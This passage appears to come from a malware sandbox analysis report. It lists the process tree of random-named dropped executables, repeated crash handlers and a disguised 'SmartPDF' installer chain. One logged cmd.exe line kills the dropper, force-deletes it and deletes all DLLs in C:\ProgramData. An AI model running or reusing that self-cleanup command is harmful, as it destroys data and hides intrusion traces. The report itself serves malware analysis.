    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:19512
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:23496
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 23496 -s 24
      4⤵
      PID:14144
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:22608
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:18444
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:19380
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:23444
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:23468
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:23652
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 23652 -s 24
      4⤵
      PID:24104
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:24032
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:24376
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:23520
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:23940
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:24260
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:23992
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:24912
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:25352
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:10272
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:24692
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:25196
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:25088
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:25316
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:25156
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:14496
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:26368
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:25892
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:4656
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:26160
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:26264
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:25680
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:24864
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:24520
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:1156
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:24776
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:25752
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:26648
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:26936
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:27300
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:17220
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:27384
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 27384 -s 24
      4⤵
      PID:26736
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:23240
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:22588
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:21264
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:26784
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 26784 -s 24
      4⤵
      PID:21268
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:16108
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:10408
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 10408 -s 24
      4⤵
      PID:3800
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:24908
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:27584
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:27424
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:27888
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:28140
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:28464
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:6132
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:28500
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:28492
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:28088
- C:\Users\Admin\Documents\rpgmPz1plOgWB3aRJOr4RxzC.exe
  "C:\Users\Admin\Documents\rpgmPz1plOgWB3aRJOr4RxzC.exe"
  2⤵
  - Executes dropped EXE
  PID:1804
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 736
    3⤵
    - Program crash
    PID:5604
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 752
    3⤵
    - Program crash
    PID:5908
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 708
    3⤵
    - Program crash
    PID:1556
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 736
    3⤵
    - Program crash
    PID:3112
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 944
    3⤵
    - Program crash
    PID:6264
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 1192
    3⤵
    - Program crash
    PID:6688
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 804
    3⤵
    - Program crash
    PID:7096
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 1300
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5604
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 1152
    3⤵
    - Program crash
    PID:6980
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 1304
    3⤵
    - Program crash
    PID:6672
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 1384
    3⤵
    - Program crash
    PID:5680
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 1456
    3⤵
    - Program crash
    PID:3572
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 1496
    3⤵
    - Program crash
    PID:7476
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 1556
    3⤵
    - Program crash
    PID:7732
- C:\Users\Admin\Documents\mTokwuJapzhhNsN4ytbXnIHc.exe
  "C:\Users\Admin\Documents\mTokwuJapzhhNsN4ytbXnIHc.exe"
  2⤵
  - Executes dropped EXE
  PID:3220
- - C:\Users\Admin\Documents\mTokwuJapzhhNsN4ytbXnIHc.exe
    "C:\Users\Admin\Documents\mTokwuJapzhhNsN4ytbXnIHc.exe"
    3⤵
    PID:5648
- - C:\Users\Admin\Documents\mTokwuJapzhhNsN4ytbXnIHc.exe
    "C:\Users\Admin\Documents\mTokwuJapzhhNsN4ytbXnIHc.exe"
    3⤵
    PID:4536
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /im mTokwuJapzhhNsN4ytbXnIHc.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\mTokwuJapzhhNsN4ytbXnIHc.exe" & del C:\ProgramData\*.dll & exit
      4⤵
      PID:8200
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im mTokwuJapzhhNsN4ytbXnIHc.exe /f
        5⤵
        Kills process with taskkill
        
        PID:9008
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        5⤵
        Delays execution with timeout.exe
        
        PID:10604
- - C:\Users\Admin\Documents\mTokwuJapzhhNsN4ytbXnIHc.exe
    "C:\Users\Admin\Documents\mTokwuJapzhhNsN4ytbXnIHc.exe"
    3⤵
    PID:6084
- - C:\Users\Admin\Documents\mTokwuJapzhhNsN4ytbXnIHc.exe
    "C:\Users\Admin\Documents\mTokwuJapzhhNsN4ytbXnIHc.exe"
    3⤵
    PID:1436
- - C:\Users\Admin\Documents\mTokwuJapzhhNsN4ytbXnIHc.exe
    "C:\Users\Admin\Documents\mTokwuJapzhhNsN4ytbXnIHc.exe"
    3⤵
    PID:5628
- C:\Users\Admin\Documents\5Y1zGx2oVOi4zEY7x5jDgltW.exe
  "C:\Users\Admin\Documents\5Y1zGx2oVOi4zEY7x5jDgltW.exe"
  2⤵
  - Executes dropped EXE
  PID:684
- - C:\Users\Admin\Documents\5Y1zGx2oVOi4zEY7x5jDgltW.exe
    "C:\Users\Admin\Documents\5Y1zGx2oVOi4zEY7x5jDgltW.exe" -u
    3⤵
    - Executes dropped EXE
    PID:4644
- C:\Users\Admin\Documents\gAGvU24xGek1TFAxSrdgDCIO.exe
  "C:\Users\Admin\Documents\gAGvU24xGek1TFAxSrdgDCIO.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2612
- - C:\Users\Admin\AppData\Roaming\4657482.exe
    "C:\Users\Admin\AppData\Roaming\4657482.exe"
    3⤵
    PID:4156
- - C:\Users\Admin\AppData\Roaming\3777435.exe
    "C:\Users\Admin\AppData\Roaming\3777435.exe"
    3⤵
    PID:6060
- - C:\Users\Admin\AppData\Roaming\5059982.exe
    "C:\Users\Admin\AppData\Roaming\5059982.exe"
    3⤵
    PID:4144
- - C:\Users\Admin\AppData\Roaming\3026962.exe
    "C:\Users\Admin\AppData\Roaming\3026962.exe"
    3⤵
    - Executes dropped EXE
    PID:5180
- - C:\Users\Admin\AppData\Roaming\4754634.exe
    "C:\Users\Admin\AppData\Roaming\4754634.exe"
    3⤵
    PID:4956
- C:\Users\Admin\Documents\sXjKcKnrBVHAWZJaR4tpkjK2.exe
  "C:\Users\Admin\Documents\sXjKcKnrBVHAWZJaR4tpkjK2.exe"
  2⤵
  - Executes dropped EXE
  PID:3336
- - C:\Users\Admin\AppData\Local\Temp\is-KF1BQ.tmp\sXjKcKnrBVHAWZJaR4tpkjK2.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-KF1BQ.tmp\sXjKcKnrBVHAWZJaR4tpkjK2.tmp" /SL5="$6007C,138429,56832,C:\Users\Admin\Documents\sXjKcKnrBVHAWZJaR4tpkjK2.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of FindShellTrayWindow
    PID:2388
  - - C:\Users\Admin\AppData\Local\Temp\is-435B8.tmp\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\is-435B8.tmp\Setup.exe" /Verysilent
      4⤵
      PID:6248
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"
        5⤵
        
        PID:11280
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"
        5⤵
        
        PID:11340
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"
        5⤵
        
        PID:10940
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        5⤵
        
        PID:11712
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:11604
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:11316
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:14124
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:14072
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:14380
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:14816
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:14440
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:14256
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:14572
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:8448
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16020
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:15624
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16340
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16132
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:11636
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:9468
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:15300
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:13788
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:17136
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:2180
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16636
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16880
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:4768
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:12728
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16576
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16620
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:17744
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:18132
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:10800
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16492
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:18084
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16760
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:13920
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:18344
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:13920
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16136
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:18748
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19148
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16864
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19052
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:18972
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 18972 -s 24
        7⤵
        
        PID:16868
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:17040
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19584
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19888
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20252
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19516
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:15080
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20208
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20432
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:15296
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:15692
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:9088
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20592
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21000
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21436
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20528
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21148
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21272
